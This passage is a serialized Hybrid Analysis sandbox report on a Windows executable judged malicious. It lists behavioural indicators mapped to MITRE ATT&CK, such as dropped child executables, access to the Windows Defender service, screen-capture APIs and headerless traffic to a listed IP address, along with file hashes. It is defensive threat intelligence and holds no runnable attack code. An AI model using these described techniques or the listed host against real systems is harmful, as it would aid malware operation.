Source: \"00000000-00006500.00000001.69934.00E7A000.00000002.mdmp\")\n Found reference to API \"ExitWindowsEx\" (Indicator: \"ExitWindows\"; Source: \"00000000-00006500.00000001.69934.00E7A000.00000002.mdmp\")\n file/memory contains long string with (Indicator: \"ExitWindows\"; Source: \"00000000-00006672.00000000.68102.010DA000.00000002.mdmp\")\n Found reference to API \"ExitWindowsEx\" (Indicator: \"ExitWindows\"; Source: \"00000000-00006672.00000000.68102.010DA000.00000002.mdmp\")","id":"string-189","level":"informative","mitre_attack_id":"T1529","name":"Contains ability to reboot/shutdown the operating system (API string)","origin":"File/Memory","relevance":3,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"General","description":"\"file\" has resource with unusual entropy \"RT_ICON:7.98515132099\"\n \"file\" has resource with unusual entropy \"RT_RCDATA:7.99953417351\"\n \"tX4Xf64.exe\" has resource with unusual entropy \"RT_ICON:7.98515132099\"\n \"tX4Xf64.exe\" has resource with unusual entropy \"RT_RCDATA:7.99950433433\"\n \"yh9Qx09.exe\" has resource with unusual entropy \"RT_ICON:7.98515132099\"\n \"yh9Qx09.exe\" has resource with unusual entropy \"RT_RCDATA:7.99953740595\"\n \"mu6rE08.exe\" has resource with unusual entropy \"RT_ICON:7.98515132099\"\n \"mu6rE08.exe\" has resource with unusual entropy \"RT_RCDATA:7.99952183748\"\n \"Lb2xB02.exe\" has resource with unusual entropy \"RT_ICON:7.98515132099\"\n \"Lb2xB02.exe\" has resource with unusual entropy \"RT_RCDATA:7.99925407241\"\n \"nk2xW14.exe\" has resource with unusual entropy \"RT_ICON:7.98515132099\"\n \"nk2xW14.exe\" has resource with unusual entropy \"RT_RCDATA:7.99788181018\"\n \"7ho9Fx74.exe\" has resource with unusual entropy \"RT_RCDATA:7.50769250298\"","id":"static-92","level":"suspicious","mitre_attack_id":"T1027.002","name":"PE file has unusual entropy resources","origin":"Static Parser","relevance":5,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"GetModuleFileNameW@KERNEL32.dll at 35846-3320-00485E8F\n GetModuleFileNameW@KERNEL32.dll at 35846-3310-0048644E\n GetModuleFileNameW@KERNEL32.dll at 35846-3312-004862A8\n GetModuleFileNameW@KERNEL32.dll at 43140-521-00408DE2","id":"stream-131","level":"suspicious","mitre_attack_id":"T1106","name":"Contains ability to retrieve the fully qualified path of module","origin":"Hybrid Analysis Technology","relevance":5,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"System Security","description":"\"AppLaunch.exe\" called \"OpenServiceA\" to access the \"WinDefend\" service (\"Windows Defender\")","id":"api-79","level":"malicious","mitre_attack_id":"T1569.002","name":"Requested access to a critical system service","origin":"API Call","relevance":10,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"General","description":"$5f","id":"string-625","level":"informative","mitre_attack_id":"T1083","name":"References Windows filepaths for DLLs (possible dropped files)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"GetDesktopWindow\" (Indicator: \"GetDesktopWindow\"; File: \"file\")\n Found reference to API \"GetDC\" (Indicator: \"GetDC\"; File: \"file\")\n Found reference to API \"GetDesktopWindow\" (Indicator: \"GetDesktopWindow\"; Source: \"00000000-00005824.00000000.68203.0134A000.00000002.mdmp\")\n Found reference to API \"GetDC\" (Indicator: \"GetDC\"; Source: \"00000000-00005824.00000000.68203.0134A000.00000002.mdmp\")\n Found reference to API \"GetDesktopWindow\" (Indicator: \"GetDesktopWindow\"; Source: \"00000000-00006500.00000001.69934.00E7A000.00000002.mdmp\")\n Found reference to API \"GetDC\" (Indicator: \"GetDC\"; Source: \"00000000-00006500.00000001.69934.00E7A000.00000002.mdmp\")\n Found reference to API \"GetDesktopWindow\" (Indicator: \"GetDesktopWindow\"; Source: \"00000000-00006672.00000000.68102.010DA000.00000002.mdmp\")\n Found reference to API \"GetDC\" (Indicator: \"GetDC\"; Source: \"00000000-00006672.00000000.68102.010DA000.00000002.mdmp\")","id":"string-78","level":"informative","mitre_attack_id":"T1113","name":"Contains ability to capture screen (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"$60","id":"string-317","level":"informative","mitre_attack_id":"T1106","name":"Contains ability to retrieve address of exported function from a DLL (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; File: \"file\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00005824.00000000.68203.01341000.00000020.mdmp\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00006500.00000000.68014.00E71000.00000020.mdmp\")","id":"string-437","level":"informative","mitre_attack_id":"T1134","name":"Contains ability to retrieve token privileges information (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"Sample file \"sample.bin\" has high entropy 7.9678560109632794","id":"binary-71","level":"informative","mitre_attack_id":"T1027","name":"Sample file has high entropy (likely encrypted/compressed content)","origin":"Binary File","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"General","description":"Spawned process \"tX4Xf64.exe\" (UID: 00000000-00006500)\n Spawned process \"yh9Qx09.exe\" (UID: 00000000-00007164)\n Spawned process \"mu6rE08.exe\" (UID: 00000000-00006672)\n Spawned process \"Lb2xB02.exe\" (UID: 00000000-00007144)\n Spawned process \"nk2xW14.exe\" (UID: 00000000-00005824)\n Spawned process \"1BU76bP5.exe\" (UID: 00000000-00006512)\n Spawned process \"AppLaunch.exe\" (UID: 00000000-00007048)\n Spawned process \"2Zz0679.exe\" (UID: 00000000-00007244)\n Spawned process \"AppLaunch.exe\" (UID: 00000000-00005520)\n Spawned process \"3Ix70mE.exe\" (UID: 00000000-00007200)","id":"target-25","level":"informative","mitre_attack_id":"T1057","name":"Spawns new processes","origin":"Monitored Target","relevance":3,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Network Related","description":"\"AppLaunch.exe\" called \"InternetReadFile\" with parameter 1024 (UID: 00000000-00005520)","id":"api-118","level":"informative","mitre_attack_id":"T1105","name":"Calls an API typically used to retrieve the URL data","origin":"API Call","relevance":3,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Network Related","description":"GET /service/msn/livetile/singletile?market=en-US&source=appxmanifest&tenant=amp&vertical=sports HTTP/1.1Connection: Keep-Alive\n User-Agent: Microsoft-WNS/10.0\n Host: assets.msn.com\n\n GET /service/msn/livetile/singletile?market=en-US&source=appxmanifest&tenant=amp&vertical=finance HTTP/1.1Connection: Keep-Alive\n User-Agent: Microsoft-WNS/10.0\n Host: assets.msn.com","id":"network-72","level":"informative","mitre_attack_id":"T1071.001","name":"GETs files from a webserver (HTTPS)","origin":"Network Traffic","relevance":3,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Anti-Reverse Engineering","description":".rsrc\n .rsrc\n .rsrc with unusual entropies 7.9780702295\n 7.97487672703\n 7.96832671948","id":"static-6","level":"suspicious","mitre_attack_id":"T1027.002","name":"PE file has unusual entropy sections","origin":"Static Parser","relevance":3,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"General","description":"\"AppLaunch.exe\" called \"OpenSCManagerW\" requesting access rights \"SC_MANAGER_ALL_ACCESS\" (0xf003f)","id":"api-77","level":"suspicious","mitre_attack_id":"T1569.002","name":"Opened the service control manager","origin":"API Call","relevance":10,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Network Related","description":"TCP traffic to 193.233.255.73 on port 80 is sent without HTTP header","id":"network-23","level":"suspicious","mitre_attack_id":"T1071.001","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","origin":"Network Traffic","relevance":5,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"GetCommandLineA@KERNEL32.dll at 35846-3272-00487E25\n GetCommandLineA@KERNEL32.dll at 43140-1111-00409752","id":"stream-118","level":"suspicious","mitre_attack_id":"T1106","name":"Contains ability to retrieve the command-line string for the current process","origin":"Hybrid Analysis Technology","relevance":3,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"General","description":"Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"file\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"00000000-00005824.00000000.68203.0134A000.00000002.mdmp\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"00000000-00006500.00000001.69934.00E7A000.00000002.mdmp\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"00000000-00006672.00000000.68102.010DA000.00000002.mdmp\")","id":"string-161","level":"informative","mitre_attack_id":"T1106","name":"Contains ability to retrieve/modify process thread (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]}],"stats":{"attributions":{"campaigns_count":0,"cves_count":0,"malware_families_count":1,"threat_actors_count":0,"threat_types_count":0},"av":{"malicious_count":5,"suspicious_count":0,"total_engines":27},"mitre_attacks":{"total":62},"rule_matches":{"sigma_count":0,"suricata_count":0,"yara_count":0},"sandbox_signatures":{"informative_count":160,"malicious_count":11,"suspicious_count":22,"total":193}},"summary":{"score":100,"tags":null,"verdict":"malicious"}},"metadata":{"file_info":{"file_name":"file","file_size":1616896,"file_type":["peexe","executable"],"file_type_id":"exe"},"hashes":{"imphash":"646167cce332c1c252cdcb1839e0cf48","md5":"5cff1412655d1adb640cbe05ab6998f0","sha1":"cc1f8b5bc3b23be1d39b8aa6f295b0fb12061f1b","sha256":"e776c8b8f6577d90f9fe9a73224690befcdd6a8060ca326c75ec9d5e5b1bd4b8","sha512":"cc49fc8b04c9a04f2f09051c476eb355b0857fe88d2a6d7e6345426a71d280646c0685e03ac01a7999a204a3fbba244844acc3f213484eb77f195f3b446cab2e","ssdeep":"24576:eyrOxYWmh2zQbf+TCwEPaLNG7YprvCx+3XrKQ6UnWggNhE0OCDD9MER9t5UP:trmmh2zi47vpr5rl6Uvg87CDDaiX","ssdeep_chunks":["24576:eyrOxYW","24576:yrOxYWm","24576:rOxYWmh","24576:OxYWmh2","24576:xYWmh2z","24576:YWmh2zQ","24576:Wmh2zQb","24576:mh2zQbf","24576:h2zQbf+","24576:2zQbf+T","24576:zQbf+TC","24576:Qbf+TCw","24576:bf+TCwE","24576:f+TCwEP","24576:+TCwEPa","24576:TCwEPaL","24576:CwEPaLN","24576:wEPaLNG","24576:EPaLNG7","24576:PaLNG7Y","24576:aLNG7Yp","24576:LNG7Ypr","24576:NG7Yprv","24576:G7YprvC","24576:7YprvCx","24576:YprvCx+","24576:prvCx+3","24576:rvCx+3X","24576:vCx+3Xr","24576:Cx+3XrK","24576:x+3XrKQ","24576:+3XrKQ6","24576:3XrKQ6U","24576:XrKQ6Un","24576:rKQ6UnW","24576:KQ6UnWg","24576:Q6UnWgg","24576:6UnWggN","24576:UnWggNh","24576:nWggNhE","24576:WggNhE0","24576:ggNhE0O","24576:gNhE0OC","24576:NhE0OCD","24576:hE0OCDD","24576:E0OCDD9","24576:0OCDD9M","24576:OCDD9ME","24576:CDD9MER","24576:DD9MER9","24576:D9MER9t","24576:9MER9t5","24576:MER9t5U","24576:ER9t5UP","49152:eyrOxYW","49152:yrOxYWm","49152:rOxYWmh","49152:OxYWmh2","49152:xYWmh2z","49152:YWmh2zQ","49152:Wmh2zQb","49152:mh2zQbf","49152:h2zQbf+","49152:2zQbf+T","49152:zQbf+TC","49152:Qbf+TCw","49152:bf+TCwE","49152:f+TCwEP","49152:+TCwEPa","49152:TCwEPaL","49152:CwEPaLN","49152:wEPaLNG","49152:EPaLNG7","49152:PaLNG7Y","49152:aLNG7Yp","49152:LNG7Ypr","49152:NG7Yprv","49152:G7YprvC","49152:7YprvCx","49152:YprvCx+","49152:prvCx+3","49152:rvCx+3X","49152:vCx+3Xr","49152:Cx+3XrK","49152:x+3XrKQ","49152:+3XrKQ6","49152:3XrKQ6U","49152:XrKQ6Un","49152:rKQ6UnW","49152:KQ6UnWg","49152:Q6UnWgg","49152:6UnWggN","49152:UnWggNh","49152:nWggNhE","49152:WggNhE0","49152:ggNhE0O","49152:gNhE0OC","49152:NhE0OCD","49152:hE0OCDD","49152:E0OCDD9","49152:0OCDD9M","49152:OCDD9ME","49152:CDD9MER","49152:DD9MER9","49152:D9MER9t","49152:9MER9t5","49152:MER9t5U","49152:ER9t5UP","24576:trmmh2z","24576:rmmh2zi","24576:mmh2zi4","24576:mh2zi47","24576:h2zi47v","24576:2zi47vp","24576:zi47vpr","24576:i47vpr5","24576:47vpr5r","24576:7vpr5rl","24576:vpr5rl6","24576:pr5rl6U","24576:r5rl6Uv","24576:5rl6Uvg","24576:rl6Uvg8","24576:l6Uvg87","24576:6Uvg87C","24576:Uvg87CD","24576:vg87CDD","24576:g87CDDa","24576:87CDDai","24576:7CDDaiX"]},"submissions":{"first_seen":1698562921000,"last_multi_scan":1698562921000,"last_seen":1698562921000}},"overall_status":"SUCCESS","report_ids":{"sandbox_job_ids":["653e0369fc7ec753250ee4b0"]},"schema_version":"1.0.9","sha256":"e776c8b8f6577d90f9fe9a73224690befcdd6a8060ca326c75ec9d5e5b1bd4b8","threat_score":100,"unified_at":"2026-09-02T10:59:04.558Z","unified_at_epoch_ms":1788346744558,"verdict":"malicious"}}]]}] 1b:null 1f:[["$","title","0",{"children":"Malicious Malware Sample e776c8b8f657… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample e776c8b8f657…. Malware family: Malware. Threat score 100/100. 5/27 AV engines flagged this file. 11 malicious and 22 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/e776c8b8f6577d90f9fe9a73224690befcdd6a8060ca326c75ec9d5e5b1bd4b8"}],["$","meta","4",{"property":"og:title","content":"Malicious Malware Sample e776c8b8f657… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample e776c8b8f657…. Malware family: Malware. Threat score 100/100. 5/27 AV engines flagged this file. 11 malicious and 22 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/e776c8b8f6577d90f9fe9a73224690befcdd6a8060ca326c75ec9d5e5b1bd4b8"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Malware Sample e776c8b8f657… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample e776c8b8f657…. Malware family: Malware. Threat score 100/100. 5/27 AV engines flagged this file. 11 malicious and 22 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L61","11",{}]]